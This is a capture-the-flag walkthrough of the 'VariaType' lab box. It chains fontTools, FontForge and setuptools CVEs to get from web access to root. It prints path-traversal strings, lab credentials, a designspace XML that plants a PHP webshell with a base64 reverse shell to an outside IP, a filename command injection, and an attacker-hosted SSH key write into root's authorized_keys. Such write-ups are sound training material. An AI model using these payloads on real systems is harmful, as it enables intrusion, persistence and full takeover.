VariaType writeup & walkthrough
CVE-2025-66034: malicious designspace XML injects a PHP webshell via font generator; zip slip writes SSH key; sudo install_validator.py fetches attacker key for root.
Recon
The main site renders fonts with the fontTools engine, and the portal vhost leaks an exposed .git directory. Map both hostnames first.
# /etc/hosts
variatype.htb
portal.variatype.htb
The landing page advertises the fontTools engine, so note it for a CVE search later (it leads to CVE-2025-66034). Then fuzz the portal vhost:
# ffuf on portal.variatype.htb finds an exposed .git
ffuf -u http://portal.variatype.htb/FUZZ -w wordlist.txt
# => /.git => dump it
git-dumper http://portal.variatype.htb/.git ./portal-git
Foothold: leaked Git credentials
Dump the repo, then diff the two commits that touch the auth config. The older commit still has the plaintext bot password.
git diff 5030e79 753b5f5
# => credentials: gitbot : G1tB0t_Acc3ss_2025!
Sign in to the portal with gitbot:G1tB0t_Acc3ss_2025!. The download endpoint download.php?f= is vulnerable to path traversal using the ....// filter bypass (nginx strips ../, so the doubled form collapses back to ../).
# read arbitrary files via download.php?f=
....//....//....//....//etc/passwd
# nginx site config => confirms web root and that the worker runs as root
....//....//....//....//etc/nginx/sites-enabled/portal.variatype.htb
# fontTools version => 4.50.0 => CVE-2025-66034
....//....//....//....//....//usr/local/lib/python3.11/dist-packages/fontTools/__init__.py
User: CVE-2025-66034 (malicious designspace => PHP webshell)
The variable font generator at /tools/variable-font-generator/process parses .designspace files without sanitising axis label names. Smuggle a PHP webshell through the labelname CDATA field and write it to a web-accessible path. The ]]]]><![CDATA[> sequence is the trick that lets a literal ]]> survive inside CDATA.
First, create the ttf files like in here through the python code: https://github.com/advisories/GHSA-768j-98cg-p3fv
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<!-- XML injection occurs in labelname elements with CDATA sections -->
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php echo shell_exec("echo YmFzaCAtaSAmPiAvZGV2L3RjcC8xMC4xMC4xNC4xMDEvNDQ0NCAwJj4xICAK | base64 -d | bash");?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">MEOW2</labelname>
</axis>
</axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MyFont" filename="/var/www/portal.variatype.htb/public/revshell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
<instances>
<instance name="Display Thin" familyname="MyFont" stylename="Thin">
<location><dimension name="Weight" xvalue="100"/></location>
<labelname xml:lang="en">Display Thin</labelname>
</instance>
</instances>
</designspace>
Trigger the generator, then hit http://portal.variatype.htb/revshell.php for code execution as www-data.
Lateral: www-data => steve (CVE-2024-25082, FontForge)
A job owned by steve runs every 2 minutes and feeds submissions to FontForge. The build is old enough to be vulnerable to archive command injection via a crafted filename.
# inspect the job and the FontForge version
cat /opt/process_client_submissions.bak
/usr/local/src/fontforge/build/bin/fontforge --version
# => 20230101 => CVE-2024-25082
Drop a payload whose filename is a command substitution, then tar it so FontForge executes it when the job processes the archive.
cd /var/www/portal.variatype.htb/public/files/
# the filename itself is the injected command
touch -- '$(echo <base64>|base64 -d|bash)'
tar -cf revshell.tar [thefile above]
Catch the shell as steve. For stable access, plant an SSH key:
cat variatype.pub
# on target, as steve
echo '<variatype.pub contents>' > /home/steve/.ssh/authorized_keys
chmod 600 /home/steve/.ssh/authorized_keys
Root: steve => root (CVE-2025-47273, setuptools)
sudo -l
# => steve may run install_validator.py as root (uses setuptools => CVE-2025-47273)
install_validator.py fetches a URL with setuptools' vulnerable package-index logic, which lets a path traversal in the URL control the write destination. Point it at a key file you host, traversing to root's authorized_keys.
# attacker box: generate a key and serve the pubkey AS authorized_keys
mkdir -p /tmp/web && cd /tmp/web
ssh-keygen -t ed25519 -f rootkey
cp rootkey.pub authorized_keys
python3 -m http.server 8080
# on target: traversal in the URL writes our key to /root/.ssh/authorized_keys
sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://ATTACKER:8080/%2Froot%2F.ssh%2Fauthorized_keys"
# attacker box: log in as root
ssh -i rootkey [email protected]